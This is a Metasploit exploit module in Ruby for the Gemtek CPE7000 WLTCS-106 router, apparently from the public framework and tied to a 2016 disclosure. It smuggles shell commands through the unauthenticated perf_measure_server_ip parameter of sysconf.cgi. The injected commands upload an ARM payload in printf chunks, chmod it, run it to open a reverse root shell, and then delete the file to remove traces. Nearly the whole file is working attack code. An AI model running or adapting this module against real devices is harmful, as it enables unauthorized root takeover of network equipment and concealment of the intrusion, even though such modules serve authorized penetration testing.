##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Gemtek CPE7000 - WLTCS-106 sysconf.cgi Unauthenticated Remote Command Execution',
      'Description' => %q{
          A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106
        exposing Iperf tool to unauthenticated users. Injecting a
        command in the perf_measure_server_ip parameter, an attacker
        can execute arbitrary commands. Since the service runs as root,
        the remote command execution has the same administrative privileges.
        The remote shell is obtained uploading the payload and executing it.
        A reverse shell is preferred rather then a bind one, since firewall
        won't allow (by default) incoming connections.

        Tested on Hardware version V02A and Firmware version 01.01.02.082.
      },
      'Author'      =>
        [
          'Federico Scalco <fscalco [ at] mentat.is>'
          #Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'EDB', '39716' ],
          [ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],
          [ 'URL' , 'http://www.gemtek.com.tw/' ]
        ],
      'DisclosureDate' => 'Apr 07 2016',
      'Privileged'     => false,
      'Platform'       => %w{ linux },
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'Linux arm Payload',
            {
            'Arch' => ARCH_ARMLE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DefaultOptions' =>
      {
        'RPORT' => 443,
        'SHELL' => '/bin/sh'
      }
    ))

    register_options(
      [
        OptInt.new('CMD_DELAY', [false, 'Time that the Handler will wait for the incoming connection', 15]),
        OptInt.new('CHUNKS_DELAY', [false, 'Timeout between payload\'s chunks sending requests', 2]),
        OptString.new('UPFILE', [ false, 'Payload filename on target server, (default: random)' ]),
        OptInt.new('CHUNK_SIZE', [ false, 'Payload\'s chunk size (in bytes, default: 50)', 50 ]),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ], self.class)

  end

  def request_resource(resname)
    begin
      res = send_request_cgi({
        'uri'    => resname,
        'method' => 'GET',
      })
      return res
    rescue ::Rex::ConnectionError
      vprint_error("#{@rhost}:#{rport} - Failed to connect to the web server")
      return nil
    end
  end

  def cleanup
    print_status("#{@rhost}:#{rport} - Cleanup fase, trying to remove traces...")

    begin
      clean_target(@upfile)
    rescue
      vprint_error("#{@rhost}:#{rport} - Failed to clean traces (/www/#{@upfile}). The resource must be removed manually")
    end
    return
  end

  def clean_target(resname)
    res = request_resource(resname)
    if res and res.code != 404
      print_status("#{rhost}:#{rport} - Found resource " + resname + ". Cleaning up now")
      #remove
      cmd = '"; rm /www/' + resname +' &> /dev/null #'
      res = act(cmd, "deleting resource")
      if (!res)
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to delete resource /www/#{resname} (have to do it manually)")
      end
    end
  end

  def set_conditions(buffer)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => '/cgi-bin/sysconf.cgi',
    'encode_params' => true,
      'vars_get' => {
        'page' => 'ajax.asp',
        'action' => 'save_iperf_value',
        'perf_measure_server_ip' => buffer,
        'perf_measure_server_port' => '5555',
        'perf_measure_cpe_port' => '5554',
        'perf_measure_test_time' => '60',
        'perf_measure_protocol_type' => '1',
        'perf_measure_packet_data_length' => '1024',
        'perf_measure_bandwidth' => '19m',
        'perf_measure_client_num' => '1'
    }
    })

    if !res or res.code != 200
      fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to set_condition request")
    end

    return res
  end

  def toggle_once
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => '/cgi-bin/sysconf.cgi',
      'vars_get' => {
        'page' => 'ajax.asp',
        'action' => 'perf_measure_status_toggle'
    }
    })

    if !res or res.code != 200
      fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to toggle request")
    end

    if res.body == "1"
      @retoggled = false
      return true
    elsif !@retoggled
      #print_status("#{@rhost}:#{rport} - First toggle request returned 0, retoggling now...")
      @retoggled = true
      toggle_once()
    else
      fail_with(Failure::UnexpectedReply, "Toggler cgi did not respond in an expected way")
    end

  end

  def act(buffer, step)
    set_conditions(buffer)
    res = toggle_once()
    return res
  end

  def exploit

    @retoggled = false;
    @cmd_delay = datastore['CMD_DELAY'] || 15
    @chunk_size = datastore['CHUNK_SIZE'] || 50
    @rhost = datastore['RHOST']
    @rport = datastore['RPORT']
    @upfile = datastore['UPFILE'] || rand_text_alpha(8+rand(8))
    chunk_delay = datastore['CHUNKS_DELAY'] || 2

    clean_target(@upfile)

    pl = payload.encoded_exe
    chunks = pl.scan(/.{1,#{@chunk_size}}/)
    hash = Hash[chunks.map.with_index.to_a]

    print_status("Total payload chunks: " + chunks.length.to_s )
    print_status("#{rhost}:#{rport} - Uploading chunked payload on the gemtek device (/www/#{@upfile})")

    for chk in chunks
      chind = hash[chk]
      safe_buffer = chk.each_byte.map { |b| '\x' + b.to_s(16) }.join

      if chind == 0
        s_redir = '>'
      else
        s_redir = '>>'
      end

      cmd = '"; printf \'' + safe_buffer + '\' ' + s_redir + ' /www/' + @upfile + ' #'

      print_status("#{@rhost}:#{rport} - Uploading chunk " + (chind + 1).to_s + "/" + chunks.length.to_s + ('.' * (chind + 1)))
      res = act(cmd, "uploading shell")
      if (!res)
       fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
      end
      select(nil, nil, nil, chunk_delay)
    end

    #chmod request
    cmd = '"; chmod 777 /www/' + @upfile + ' & #'
    print_status("#{rhost}:#{rport} - Asking the gemtek device to chmod #{@upfile}")
    res = act(cmd, "chmodding payload")
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to chmod payload")
    end

    select(nil, nil, nil, @cmd_delay)

    #phone home
    cmd = '"; /www/' + @upfile + ' & #'
    print_status("#{rhost}:#{rport} - Asking the gemtek device to execute #{@upfile}")
    res = act(cmd, "executing payload")
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end

    select(nil, nil, nil, @cmd_delay)

  end
end